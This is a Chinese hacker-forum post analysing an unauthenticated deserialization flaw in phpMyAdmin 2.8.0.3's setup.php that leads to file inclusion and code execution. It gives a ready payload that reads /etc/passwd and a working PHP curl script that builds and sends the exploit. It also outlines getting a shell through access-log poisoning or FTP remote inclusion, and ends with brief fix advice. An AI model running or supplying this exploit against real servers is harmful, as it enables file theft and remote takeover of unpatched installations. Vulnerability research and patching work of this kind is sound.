搜索
查看: 478|回复: 0

PhpMyAdmin 2.8.0.3 版本无需登录任意文件包含导致代码执行(可getshell)漏洞分析

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2016-9-20 11:51:58 | 显示全部楼层 |阅读模式
前言

这个漏洞来源于路人甲在wooyun提交的漏洞

漏洞编号: WooYun-2016-199433

4月12日也曾在t00ls发表过,但是帖子关闭了

(详细漏洞文档可进群索取)

分析

存在漏洞的已知版本为 2.8.0.3 其余版本未知

本次测试的版本为2.8.0.3

看存在漏洞的文件代码

/scripts/setup.php

把传入的configuration给反序列化,而这个setup.php中引入了common.lib.php

来到common.lib.php

common.lib.php中引入了Config.class.php

再看看Config.class.php:

继续看load方法:

Config.class.php中含有__wakeup魔术方法,因此可以构造序列化参数,造成反序列化漏洞

所以整个思路就是:

setup.php->common.lib.php->Config.class.php->__wakeup()->load()->eval();
漏洞验证

构造个简单的poc:

http://localhost/phpmyadmin/scripts/setup.php

post data:

configuration=O:10:”PMA_Config”:1:{s:6:”source”;s:11:”/etc/passwd”;}&action=test

测试在mac下:

Win下:

提供一个PHP版PoC:

  1. <?php
  2. class PMA_Config
  3. {
  4. public $source;
  5. }
  6. $t = new PMA_Config();
  7. $t -> source = $_GET['file'];
  8. $str = serialize($t);
  9. $url = $_GET['url'];
  10. $data = "configuration=".$str."&action=test";
  11. echo $data;
  12. $ch = curl_init();
  13. curl_setopt($ch,CURLOPT_URL,$url);
  14. curl_setopt($ch, CURLOPT_HEADER, false);
  15. curl_setopt($ch, CURLOPT_POST,true);
  16. curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
  17. curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
  18. echo curl_exec($ch);
  19. ?>
复制代码

Getshell
  • 利用方式一

但是经过分析这个漏洞是不能读取php文件的,因为有了eval(),相当于任意文件包含了,不过另一方面这也是有好处的,如果能写入文件,文件中包含一个一句话就可以直接getshell了。作者给的方式是用error log。

根据作者的方法,使用默认环境,才发现有点鸡肋,比如,在ubuntu下,一般是不允许用root权限运行,实际测试中,我们是无法读取access.log的,所以getshell就比较困难。在windows下,由于几乎所有的浏览器和python模块都会很“自觉地”将特殊字符编码进行转换”,getshell就更困难了,所以只能用socket去构造shell。


Access log中就出现了shell了。

再用任意文件包含漏洞去包含,就可以拿到shell了。

  • 利用方式二

PoC修改为如下:

通过FTP直接远程利用获取shell

前提是看file_get_contents可不可以远程(默认是开启的)

感谢passenger提供思路

影响范围

存在漏洞的已知版本为 2.8.0.3 其余版本未知

许多内网的系统都在用这个版本,外网的也绝非少数!

修复建议
  • 尽快升级到最新版
  • 将setup.php中28行中的”configuration”改为传入其他值
  • 直接删除scripts目录,防止被恶意攻击。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表